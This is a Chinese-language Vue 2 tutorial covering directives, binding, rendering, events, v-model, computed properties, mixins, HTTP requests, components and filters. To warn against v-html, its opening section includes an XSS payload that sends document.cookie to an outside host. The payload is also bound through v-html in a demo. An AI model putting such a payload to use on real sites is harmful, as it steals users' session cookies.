一.模板语法
(1) 插值
a.文本 {{ }}
b.纯HTML
v-html慎用 ,防止XSS,CSRF(
(1) 前端过滤 (前端采用正则将容易注入的字符<等过滤掉)
(2) 后台转义( < > 换成 < > )
)
例子:
<a href=javascript:location.href='http://www.baidu.com?cookie='+document.cookie>click</a>
<body>
<div id="app">
{{msg}}
<p v-html="msg"></p>
</div>
<!-- 引入vue框架 新手建议引入开发版的vue,有错误代码提示 -->
<script src="./base/vue.js"></script>
<script>
//在上面写的v-开头的称之为vue的指令(directive) 指令的作用,就是用来操作dom
new Vue({
el:"#app",
data:{
msg:"<a href=javascript:location.href='http://www.baidu.com?cookie='+document.cookie>click</a>"
}
})
</script>
</body>
效果:
c.表达式
(2) 指令
是带有 v- 前缀的特殊属性
-
v-bind 动态绑定属性
-
v-if 动态创建/删除
-
v-show 动态显示/隐藏
-
v-on:click 绑定事件
-
v-for 遍历
-
v-model 双向绑定表单
-
v-cloak 防止表达式闪烁
v-bind 动态绑定属性
v-bind: 可以简写为 :(冒号),可以通过v-bind属性绑定来绑定class属性。
<body>
<div id="app">
<div :class="classobj">动态切换class-对象</div>
<div :class="classarr">动态切换class-数组</div>
<hr>
<div :style="styleobj">动态切换style-对象</div>
<div :style="stylearr">动态切换style-数组</div>
</div>
<script src="./base/vue.js"></script>
<script>
var vm = new Vue({
el:"#app",
data:{
classobj:{
aa:true,
bb:true,
cc:false
},
classarr:["aa","bb"],
styleobj:{
backgroundColor: "red"
},
stylearr:[
{backgroundColor: "red"}
]
}
})
</script>
</body>
效果:
注:
v-cloak
给模板内的元素添加v-cloak属性后,元素在vue没有加载完的时候就有这个属性,当vue加载完成后这个属性就消失了,所以我们可以给这个属性设置css样式为隐藏
<style>
[v-cloak]{
display:none
}
</style>
演示代码:
<body>
<div id="app" v-cloak>
<p>msg==> {{msg}}</p>
</div>
<script src="https://cdn.bootcss.com/vue/2.5.13/vue.js"></script>
<script>
//当元素加上v-cloak这个指令的时候,在vue没有加载的时候,这个指令相当于div标签的一个标签属性。
//当vue加载完成后,会将这个指令去掉
//依靠v-cloak 配合css样式 实现解决{{}}闪烁的问题!
new Vue({
el:"#app",
data:{
msg:"hello world"
}
})
</script>
</body>
visibility:hidden 元素消失了 但后续的元素还是保持不变,不会破坏文档流结构 ===> 产生了重绘了 (repaint)
display:none 让元素消失了 后续的元素会占据消失元素的位置,破坏文档流结构 ===> 产生了回流了(reflow)
v-text/v-html
v-text 会指定将模板内元素的textContent属性替换为指令值所代表的数据
v-html 可以解析标签,更改元素的innerHTML,性能比v-text较差
v-pre 跳过元素和其子元素的编译过程,可以用来显示mustache
<body>
<div id="app">
<p>{{msg}}</p>
<p v-text="msg"></p>
<hr>
<p v-html="msg"></p>
<p v-pre>演示{{msg}}这种语法</p>
</div>
<script src="./base/vue.js"></script>
<script>
//v-text 与 {{}} 是等价的
//v-html是可以解析标签的 慎用 性能消耗比v-text高
//v-htmlヘv-text唯一的区别就是可以解析标签,慎用,性能耗费比v-text高
//v-pre指令是不会解析{{}}
new Vue({
el:"#app",
data:{
msg:"<h2>hello world</h2>"
}
})
</script>
</body>
效果:
(3) 缩写
v-bind:src => :src
v-on:click => @click
二. class与style
(1) 绑定HTML Class
- 对象语法
<div id="app">
<p class="red">这是一个p段落标签...</p>
<p :class="{'red':isRed}">这是一个p段落标签...</p>
<p class="red" :class="(isBig ? 'big' : '')">这是一个p段落标签...</p>
<p><button @click="isRed=!isRed">切换class</button></p>
</div>
- 数组语法
<p :class="['red',(isBig ? 'big' : '')]">这是一个p段落标签...</p>
(2) 绑定内联样式
- 对象语法
<p :style="{backgroundColor:background,fontSize:'40px'}">我是p段落标签...</p>
//key名需要采用驼峰式的写法哦,不然会报错的!
new Vue({
el:"#app",
data:{
background:"green"
}
})
-
数组语法
//需要将 font-size =>fontSize
<p :style="[{backgroundColor:background,fontSize:'40px'}]">我是p段落标签...</p>
三. 条件渲染
(1) v-if
在Vue中可以使用v-if来控制模板里元素的显示和隐藏,值为true就显示,为false就隐藏
v-if控制的是 是否渲染这个节点
例子:
<body>
<div id="app">
<p v-if="isShow">输入框的长度为:{{username.length}}</p>
<p><input type="text" v-model="username"></p>
</div>
<script src="./base/vue.js"></script>
<script>
new Vue({
el:"#app",
data: {
username:"",
isShow:false,
person:{
value:"allen"
}
},
watch:{
username:{
immediate:true,
// handler为固定语法,不可改变
handler(newValue){
this.isShow = newValue.length>8?true:false
}
}
}
})
</script>
</body>
当文本框的长度大于8的时候,输入框就会显示,否则就会隐藏。
效果:
(2) v-else v-else-if
当有else分支逻辑的时候,可以给该元素加上v-else指令来控制,v-else会根据上面的那个v-if来控制,效果与v-if相反,注意,一定要紧挨着
还有v-else-if指令可以实现多分支逻辑
(3) template v-if
当我们需要控制一组元素显示隐藏的时候,可以用template标签将其包裹,将指令设置在template上,等vm渲染这一组元素的时候,不会渲染template
(4) v-show
Vue还提供了v-show指令,用法和v-if基本一样,控制的是元素的css中display属性,从而控制元素的显示和隐藏 , 不能和v-else配合使用,且不能使用在template标签上,因为template不会渲染,再更改它的css属性也不会渲染,不会生效
v-if vs v-show
v-if 是“真正”的条件渲染,因为它会确保在切换过程中条件块内的事件监听器和子组件适当地被销毁和重建。
v-if 也是惰性的:如果在初始渲染时条件为假,则什么也不做;—直到条件第一次变为真时,才会开始渲染条件块。
相比之下,v-show 就简单得多;—不管初始条件是什么,元素总是会被渲染,并且只是简单地基于 CSS 进行切换。
一般来说,v-if 有更高的切换开销,而 v-show 有更高的初始渲染开销。因此,如果需要非常频繁地切换,则使用 v-show 较好;如果在运行时条件很少改变,则使用 v-if 较好。
v-if-show-else 例子:
<body>
<div id="app">
<p><button @click="isShow=!isShow">动态切换显示与隐藏</button></p>
<p v-show="isShow">这是需要显示的哦...</p>
<!-- <p v-else>这是else。。。</p> -->
<template v-if="isShow">
<p>我是p段落标签哦...</p>
</template>
<input type="text" v-model="type">
<div v-if="type === 'A'">
A
</div>
<div v-else-if="type === 'B'">
B
</div>
<div v-else-if="type === 'C'">
C
</div>
<div v-else>
Not A/B/C
</div>
</div>
<script src="./base/vue.js"></script>
<script>
//v-if true代表元素出现 false代表元素被移除(dom上面直接将其干掉)
//v-else 需要与v-if进行搭配使用,不能单独使用
//v-show true代表元素出现 false代表元素隐藏 (通过切换display:none or display:block进行元素显示)
//template 包裹的元素只能通过v-if进行切换! 因为template这个标签不会被浏览器进行解析渲染!
new Vue({
el:"#app",
data:{
isShow:true,
type:"A"
}
})
</script>
</body>
效果:
四. 列表渲染
(1) v-for
这是一个指令,只要有v-的就是指令(directive 操作dom )
<body>
<div id="app">
<ul>
<li v-for="(item,index) of arr">{{index+1}} / {{item}}</li>
</ul>
</div>
<script src="./base/vue.js"></script>
<script>
//在上面写的v-开头的称之为vue的指令(directive) 指令的作用,就是用来操作dom
new Vue({
el:"#app",
data:{
arr:["苹果","香蕉","橘子"]
}
})
</script>
</body>
效果:
在vue中可以通过v-for来循环数据的通知循环dom,语法是item in/of items,接收第二个参数是索引 (item,index) of items,还可以遍历对象,第一个参数是value,第二个是key,第三个依然是索引。
<body>
<div id="app">
<table>
<thead>
<tr>
<th>姓名:</th>
<th>性别:</th>
<th>年龄:</th>
</tr>
</thead>
<tbody>
<tr v-for="stu in students">
<td>{{stu.name}}</td>
<td>{{stu.sex}}</td>
<td>{{stu.age}}</td>
</tr>
</tbody>
</table>
<hr>
<!-- 如果要进行多标签的循环,(不想额外形成新的标签 )外面套上template -->
<template v-for="i in 3">
<div>我是div元素</div>
<p>我是p元素哦....</p>
</template>
</div>
<script src="./base/vue.min.js"></script>
<script>
new Vue({
el:"#app",
data:{
students:[
{id:1,name:"杨过",sex:"男",age:17},
{id:2,name:"郭靖",sex:"男",age:37},
{id:3,name:"黄蓉",sex:"女",age:27}
]
}
})
</script>
</body>
(2) key
*跟踪每个节点的身份,从而重用和重新排序现有元素
*理想的 key 值是每项都有的且唯一的 id。data.id
(3) 数组更新检测
a. 使用以下方法操作数组,可以检测变动
push() 数组的添加元素 返回数组的长度
pop() 从后面删除一个元素 返回删除的元素
shift() 从前面删除一个元素 返回删除的元素
unshift() 从数组的前面追加元素 返回数组的长度
splice() 数组的剪贴、删除、插入
sort() 数组的排序
reverse() 数组的反转
b. filter(), concat() 和 slice() ,map(),新数组替换旧数组
c. 不能检测以下变动的数组
由于 JavaScript 的限制,Vue 不能检测以下数组的变动:
1.当你利用索引直接设置一个数组项时,例如:vm.items[indexOfItem] = newValue
-
Vue.set(vm.items, indexOfItem, newValue)
Vue.set(vm.arr, 2, 30) //如果在实例中可以通过 this.$set(vm.arr, 2, 30)
<body>
<div id="app">
<ul>
<li v-for="item in arr">{{item}}</li>
</ul>
</div>
<script src="./base/vue.min.js"></script>
<script>
var vm = new Vue({
el:"#app",
data:{
arr:[1,2,3],
}
})
Vue.set(vm.arr, 2, 30)
</script>
</body>
- vm.items.splice(indexOfItem, 1, newValue)
<body>
<div id="app">
<ul>
<li v-for="item in arr">{{item}}</li>
</ul>
</div>
<script src="./base/vue.min.js"></script>
<script>
var vm = new Vue({
el:"#app",
data:{
arr:[1,2,3],
}
})
vm.arr.splice(2, 1, 300)
</script>
</body>
2.当你修改数组的长度时,例如:vm.items.length = newLength
vm.items.splice(newLength)
<body>
<div id="app">
<ul>
<li v-for="item in arr">{{item}}</li>
</ul>
</div>
<script src="./base/vue.min.js"></script>
<script>
var vm = new Vue({
el:"#app",
data:{
arr:[1,2,3],
}
})
vm.arr.splice(2)
</script>
</body>
五. 事件处理
(1) 监听事件-直接触发代码
在vue中还有v-on来为dom绑定事件,在v-on:后面加上要绑定的事件类型,值里可以执行一些简单javascript表达式:++ – = …
可以将一些方法设置在methods里,这样就可以在v-on:click的值里直接写方法名字可以,默认会在方法中传入事件对象,当写方法的时候加了()就可以传参,这个时候如果需要事件对象,那就主动传入$event
v-on绑定的事件可以是任意事件,v-on:可以缩写为@
<style>
ul{
padding: 20px;
background: rgba(234, 147, 148, 0.5)
}
</style>
<body>
<div id="app">
<p>num: {{num}}</p>
<p><button @click="num++">点击num</button></p> <!-- v-on:click ====> @click (简写方式) -->
<p><button @dblclick="num++">双击num</button></p>
<ul @click.self="clickUl"> <!-- .self 只会自身触发 -->
<li @click="clickLi">1111111</li>
</ul>
<form action="#" @submit.prevent="submits"> <!-- .prevent 可以取消事件的默认行为 -->
<input type="text" name="username">
<input type="submit">
</form>
<button @click.once="abc">abc</button> <!-- .once 只会触发一次 -->
<input @keyup.enter="up" type="text" >
</div>
<script src="./base/vue.min.js"></script>
<script>
//v-on可以用来绑定点击事件
//修饰符是由点开头的指令后缀来表示的
// .stop 可以阻止事件的冒泡
new Vue({
el:"#app",
data:{
num:0
},
methods:{
up(e){
e.target.value = ""
},
abc(){
console.log("abc...")
},
submits(e){
console.log("submits....")
// e.preventDefault() //w3c取消事件的默认行为
},
clickUl(){
alert("这个ul被点击了哦....")
},
clickLi(e){
alert("这个li被点击了哦...")
// e.stopPropagation() w3c里面提供的 e.cancelBubble = true/ie9
}
}
})
</script>
</body>
为什么在 HTML 中监听事件?
你可能注意到这种事件监听的方式违背了关注点分离 (separation of concern) 这个长期以来的优良传统。但不必担心,因为所有的 Vue.js 事件处理方法和表达式都严格绑定在当前视图的 ViewModel 上,它不会导致任何维护上的困难。实际上,使用 v-on 有几个好处:
- 扫一眼 HTML 模板便能轻松定位在 JavaScript 代码里对应的方法。
- 因为你无须在 JavaScript 里手动绑定事件,你的 ViewModel 代码可以是非常纯粹的逻辑,和 DOM 完全解耦,更易于测试。
- 当一个 ViewModel 被销毁时,所有的事件处理器都会自动被删除。你无须担心如何自己清理它们。
(2) 方法事件处理器-写函数名 handleClick
(3) 内联处理器方法-执行函数表达式
handleClick($event) $event 事件对象
(4) 事件修饰符
.stop .prevent .self .once
(5) 按键修饰符
六. 表单控件绑定/双向数据绑定
v-model 指令
- v-model的原理: 1.给输入框绑定value属性 2.绑定input事件(变量=输入框里面的值)
- v-model指令只能用在表单域(input/textarea/checkbox等)里面,不能用在例如div上面。
(1) 基本用法
<body>
<div id="app">
<p>msg ==> {{msg}}</p>
<p><input type="text" v-model="msg"></p>
<p><input type="checkbox" v-model="flag">{{flag}}</p>
</div>
</body>
<!-- 引入vue框架 -->
<script src="./base/vue.js"></script>
<script>
var vm = new Vue({
el: "#app",
data: {
msg: "hello world",
flag: true
}
})
</script>
效果:
(2) 修饰符
.lazy
:失去焦点同步一次
.lazy 默认是同步更新,如果加了.lazy修饰符,等光标离开后才会进行同步的更新。
<body>
<div id="app">
<p>msg ==> {{msg}}</p>
<p><input type="text" v-model="msg"></p>
<p><input type="checkbox" v-model="flag">{{flag}}</p>
<hr>
<p>lazy修饰符 ==> {{msg}}</p>
<p><input type="text" v-model.lazy="msg"></p>
</div>
</body>
效果:
.number
:格式化数字
.number 这个值无法被parseFloat解析的时候,会原样返回。如果能够被解析,返回解析后的数值
<body>
<div id="app">
<p>msg ==> {{msg}}</p>
<p><input type="text" v-model="msg"></p>
<p><input type="checkbox" v-model="flag">{{flag}}</p>
<hr>
<p>lazy修饰符 ==> {{msg}}</p>
<p><input type="text" v-model.lazy="msg"></p>
<hr>
<p>number修饰符 ==> {{msg}}</p>
<p><input type="text" v-model.number="msg"></p>
</div>
</body>
效果:
.trim
: 去除首尾空格,但不能去除中间空格
<body>
<div id="app">
<p>msg ==> {{msg}}</p>
<p><input type="text" v-model="msg"></p>
<p><input type="checkbox" v-model="flag">{{flag}}</p>
<hr>
<p>lazy修饰符 ==> {{msg}}</p>
<p><input type="text" v-model.lazy="msg"></p>
<hr>
<p>number修饰符 ==> {{msg}}</p>
<p><input type="text" v-model.number="msg"></p>
<hr>
<p>tirm修饰符 ==> {{msg}}</p>
<p><input type="text" v-model.trim="msg"></p>
</div>
</body>
效果:
七. 计算属性
复杂逻辑,模板难以维护
(1) 基础例子
有的时候我们需要在模板中使用数据a,这个时候就需要用到表达式,但是有的地方我们需要对a数据进行一些简单的处理后才能使用,那么我们就会在表达式中写一些js逻辑运算
<div id="example">
{{ message.split('').reverse().join('') }}
</div>
这样我们的维护就会非常困难,也不便于阅读
(2) 计算缓存 vs methods
我们就可以在methods里设置一个方法,在模板的表达式中使用这个方法
// 在组件中
methods: {
reversedMessage: function () {
return this.message.split('').reverse().join('')
}
}
但是这个时候,只要vm中有数据变化,这个变化的数据可能和我们关注的数据无关,但是vm都会重新渲染模板,这个时候表达式中的方法就会重新执行,大大的影响性能
(3) data vs computed vs watch
这个时候其实我们可以使用监听器里完成:
在vm实例中设置watch属性,在里面通过键值对来设置一些监听,键名为数据名,值可以是一个函数,这个函数在数据改变之后才会执行,两个参数分别是更改前的值和更改后的值
watch:{
a: function (val, oldVal) {
console.log('new: %s, old: %s', val, oldVal)
}
}
值还可以是一个方法名字,当数据改变的时候这个方法会执行
当数据为object的时候,object的键值对改变不会被监听到(数组的push等方法可以),这个时候需要设置深度监听:
c: {
deep:true,
handler:function (val, oldVal) {
console.log('new: %s, old: %s', val, oldVal)
}
},
监听的handler函数前面的这几种写法都是在数据变化的时候才会执行,初始化的时候不会执行,但是如果设置immediate为true就可以了
watch:{
num(newValue,oldValue){ //这样去写的话不会主动执行一次,需要更改依赖项的时候,才会执行!
},
num:{
immediate:true, //初始化的时候主动执行一次handler
handler:function(newValue,oldValue){
this.nums = newValue*2
}
}
}
我们在回到上面的问题,用监听器加上immediate属性就可以做到该效果,但是大家可以看到的是逻辑稍稍有点复杂
我们一般都会用到一个叫计算属性的东西来解决:
计算属性就是在实例配置项中通过computed来为vm设置一个新的数据,而这个新数据会拥有一个依赖(一条已经存在的数据),当依赖发生变化的时候,新数据也会发生变化
与方法的方式相比,它性能更高,计算属性是基于它们的依赖进行缓存的。计算属性只有在它的相关依赖发生改变时才会重新求值。相比之下,每当触发重新渲染时,调用方法将总会再次执行函数。
与watch相比,写起来简单,逻辑性更清晰,watch一般多用于,根据数据的变化而执行某些动作,而至于这些动作是在干什么其实无所谓,而计算属性更有针对性,根据数据变化而更改另一个数据
计算属性也拥有getter和setter,默认写的是getter,设置setter可以当此计算属性数据更改的时候去做其他的一些事情,相当于watch这个计算属性
xm:{
get:function(){//getter 当依赖改变后设置值的时候
return this.xing+'丶'+this.ming
},
set:function(val){//setter 当自身改变后执行
this.xing = val.split('丶')[0]
this.ming = val.split('丶')[1]
}
}
八. Mixins
混入 (mixins) 是一种分发 Vue 组件中可复用功能的非常灵活的方式。
混入对象可以包含任意组件选项。
当组件使用混入对象时,所有混入对象的选项将被混入该组件本身的选项。
用法:
<body>
<div id="app">
<button @click="a">a</button>
<p>{{aaa}}</p>
</div>
<script src="./base/vue.js"></script>
<script>
//在Vue里可以使用mixins来做代码的抽离复用,便于维护
//一个mixin其实就是一个纯粹的对象,上面挂载着抽离出来的配置,
//在某一个实例中,通过mixins选项导入后,此实例就拥有导入的mixin的配置
//并且不会与原配置相互覆盖,而是合并到一起
let common = {
methods:{
a(){
console.log("a被执行了哦....")
}
},
computed:{
aaa(){
return "这是aaa哦"
}
}
}
new Vue({
el:"#app",
mixins:[common],
methods:{
// a(){
// console.log("aaaaaa111111111")
// }
}
})
</script>
</body>
九. 数据请求
(1) vue-resource请求
从vue的2.0开始,作者说:vue-resource不再维护了。
但是在工作中,还是有很多企业在使用这种方法,下面就展示一下使用resource发送一个get请求。
<body>
<div id="app">
<ul>
<li v-for="book in books">{{book.title}}</li>
</ul>
<button @click="get">发起http请求</button>
</div>
<script src="./base/vue.js"></script>
<!-- vue-resource 以vue框架为依赖,不可颠倒书写顺序 -->
<!-- 引入vue-resource之后,那么他就可以在vue实例或组件 上面绑定一个$http的一个属性 -->
<script src="https://cdn.bootcss.com/vue-resource/1.3.4/vue-resource.min.js"></script>
<script>
new Vue({
el: "#app",
data: {
books: []
},
methods: {
get() {
this.$http.get("./json/temp.json").then(res => {
this.books = res.data.books
})
}
},
})
</script>
</body>
json文件:
-
链接:https://pan.baidu.com/s/1UmeUhduxGLrWrQMWOv_pog
提取码:27ml -
可在博主的资源里面寻找直接下载
效果:
例子: 发送一个jsonp请求
<body>
<div id="app">
<input type="text" v-model="good" @keyup.enter="jsonp">
<button @click="jsonp">发起jsonp请求</button>
<ul>
<li v-for="item in result">{{item[0]}}</li>
</ul>
</div>
<script src="./base/vue.js"></script>
<!-- vue-resource 以vue框架为依赖,不可颠倒书写顺序 -->
<!-- 引入vue-resource之后,那么他就可以在vue实例或组件 上面绑定一个$http的一个属性 -->
<script src="https://cdn.bootcss.com/vue-resource/1.3.4/vue-resource.min.js"></script>
<script>
new Vue({
el: "#app",
data: {
result:[],
good:''
},
methods: {
jsonp() {
this.$http.jsonp("http://suggest.taobao.com/sug?code=utf-8",{
// params为固定写法,不可更改
params:{
q:this.good
}
}).then(res => {
this.result = res.data.result
this.good = ""
})
}
},
})
</script>
</body>
效果:
(2) fetch请求(规范)
why: XMLHttpRequest 是一个设计粗糙的 API,配置和调用方式非常混乱, 而且基于事件的异步模型写起来不友好。
查看兼容性: https://caniuse.com/#search=fetch
兼容性不好 polyfill: https://github.com/camsong/fetch-ie8
1 //get
2 fetch("**").then(res=>res.json()).then(res=>{console.log(res)})
3 fetch("**").then(res=>res.text()).then(res=>{console.log(res)})
4 //post
5 fetch("**",{
6 method:'post',
7 headers: {
8 "Content‐Type": "application/x‐www‐form‐urlencoded"
9 },
10 body: "name=zhangsan&age=100"
11 }).then(res=>res.json()).then(res=>{console.log(res)});
12 fetch("/users",{
13 method:'post',
14 // credentials: 'include',
15 headers: {
16 "Content‐Type": "application/json"
17 },
18 body: JSON.stringify({
19 name:"zhangsan",
20 age:100
21 })
22 }).then(res=>res.json()).then(res=>{console.log(res)});
** Fetch 请求默认是不带 cookie 的,需要设置 fetch(url, {credentials: ‘include’})*
示例:
使用fetch发送一个get请求
<body>
<div id="app">
<p><button @click="handleClick">fetch请求</button></p>
</div>
<script src="./base/vue.js"></script>
<script>
new Vue({
el:"#app",
methods:{
handleClick(){
fetch("./json/temp.json").then(res=>{
console.log(res); //只是获取一些状态,没有拿到数据
// return res.text() //文本格式
return res.json() //需要让其返回json格式的数据
}).then(res=>{
console.log(res);
})
}
}
})
</script>
</body>
效果:
(3) axios请求
// get
axios.get("json/test.json?name=zhangsan&age=10").then(res=>{
// res.data 才是真正的后端数据
console.log(res.data.data.films)
this.datalist = res.data.data.films
})
//post -1- x-www-form-urlencode
axios.post("json/test.json","name=zhangsan&age=10").then(res=>{
console.log(res.data)
})
//post -2- application/json
axios.post("json/test.json",{
name:"zhangsan",
age:100
}).then(res=>{
console.log(res.data)
})
十. 组件使用
(1)组件化
模块化就是将系统功能分离成独立的功能部分的方法,一般指的是单个的某一种东西,例如js、css
而组件化针对的是页面中的整个完整的功能模块划分,组件是一个html、css、js、image等外链资源,这些部分组成的一个聚合体
优点:代码复用,便于维护
划分组件的原则:复用率高的,独立性强的
组件应该拥有的特性:可组合,可重用,可测试,可维护
(2)组件
在vue中,我们通过Vue.extend来创建Vue的子类,这个东西其实就是组件
也就是说Vue实例和组件的实例有差别但是差别不大,因为毕竟一个是父类一个是子类
一般的应用,会拥有一个根实例,在根实例里面都是一个一个的组件
因为组件是要嵌入到实例或者父组件里的,也就是说,组件可以互相嵌套,而且,所有的组件最外层必须有一个根实例,所以组件分为:全局组件和局部组件
全局组件在任意的实例、父级组件中都能使用,局部组件只能在创建自己的父级组件或者实例中使用
创建组件:
Vue.extend(options)
全局注册:
var App = Vue.extend({
template:"<h1>hello world</h1>"
})
Vue.component('my-app',App)
简便写法:
// 创建组件构造器和注册组件合并一起
Vue.component('hello',{//Vue会自动的将此对象给Vue.extend
template:"<h1>hello</h1>"
})
组件通过template来确定自己的模板,template里的模板必须有根节点,标签必须闭合
组件的属性挂载通过:data方法来返回一个对象作为组件的属性,这样做的目的是为了每一个组件实例都拥有独立的data属性
局部注册:
new Vue({
el:"#app",
components:{
'my-app':App
}
})
简便写法:
data:{},
components:{
'hello':{
template:"<h1>asdasdasdasdasdas</h1>"
}
}
在实例或者组件中注册另一个组件,这个时候,被注册的组件只能在注册它的实例或组件的模板中使用,一个组件可以被多个组件或实例注册
注意浏览器规则
因为vue在解析模板的时候会根据某些html的规则,例如,在table里只能放tr,td,th…,如果放入组件不会解析 这个时候我们可以放入tr使用is方式来标识这个tr其实是组件
<table id="app">
<tr is="hello"></tr>
</table>
template
<template id="my-hello">
<div>
<h1>hello world</h1>
<p>hahahah</p>
</div>
</template>
//组件中
template:"#my-hello"
is切换
在实例、组件的模板中的某一个标签上,可以通过is属性来指定为另一个目标的组件,这个时候我们一般会使用component标签来占位、设置is属性来指定目标组件
<component :is="type"></component>
//组件中
data:{
type:'aaa'
},
components:{
'aaa':{template:"<h1>AAAAAAAAAAAAA</h1>"},
'bbb':{template:"<h1>BBBBBBBBBBBBB</h1>"}
}
组件嵌套
应用中划分的组件可能会很多,为了更好的实现代码复用,所以必然会存在组件的嵌套关系
组件设计初衷就是要配合使用的,最常见的就是形成父子组件的关系:组件 A 在它的模板中使用了组件 B。
(3)过滤器
vue中可以设置filter(过滤器)来实现数据格式化,双花括号插值和 v-bind 表达式中使用
vue1.0的有默认的过滤器,但是在2.0的时候全部给去掉了
所以在vue中如果想要使用过滤器就需要自定义
自定义的方法有两种:全局定义和局部定义,
全局定义的过滤器在任意的实例、组件中都可以使用,
局部定义就是在实例、组件中定义,只能在这个实例或组件中使用
-
全局定义
Vue.filter(name,handler)
name是过滤器的名字,handler是数据格式化处理函数,接收的第一个参数就是要处理的数据,返回什么数据,格式化的结果就是什么
在模板中通过 | (管道符) 来使用,在过滤器名字后面加()来传参,参数会在handler函数中第二个及后面的形参来接收
<p>{{msg | firstUpper(3,2)}}</p>
Vue.filter('firstUpper',function (value,num=1,num2) {
console.log(num2)
return value.substr(0,num).toUpperCase()+value.substr(num).toLowerCase()
})
-
局部定义
在实例、组件的配置项中设置 filters,键名为过滤器名,值为handler
filters:{
firstUpper:function (value,num=1,num2) {
console.log(num2)
return value.substr(0,num).toUpperCase()+value.substr(num).toLowerCase()
}
}
(4)虚拟dom
频繁且复杂的dom操作通常是前端性能瓶颈的产生点,Vue提供了虚拟dom的解决办法
虚拟的DOM的核心思想是:对复杂的文档DOM结构,提供一种方便的工具,进行最小化地DOM操作。这句话,也许过于抽象,却基本概况了虚拟DOM的设计思想
(1) 提供一种方便的工具,使得开发效率得到保证
(2) 保证最小化的DOM操作,使得执行效率得到保证
也就是说,虚拟dom的框架/工具都是这么做的:
- 根据虚拟dom树最初渲染成真实dom
- 当数据变化,或者说是页面需要重新渲染的时候,会重新生成一个新的完整的虚拟dom
- 拿新的虚拟dom来和旧的虚拟dom做对比(使用diff算法)。得到需要更新的地方之后,更新内容
这样的话,就能大量减少真实dom的操作,提高性能
什么是虚拟dom?与key值的关系?
Virual DOM是用JS对象记录一个dom节点的副本,当dom发生更改时候,先用
虚拟dom进行diff,算出最小差异,然后再修改真实dom。
当用传统的方式操作DOM的时候,浏览器会从构建DOM树开始从头到尾执行一遍流程,效率很低。而虚拟DOM是用javascript对象表示的,而操作javascript是很简便高效的。虚拟DOM和真正的DOM有一层映射关系,很多需要操作DOM的地方都会去操作虚拟DOM,最后统一一次更新DOM。因而可以提高性能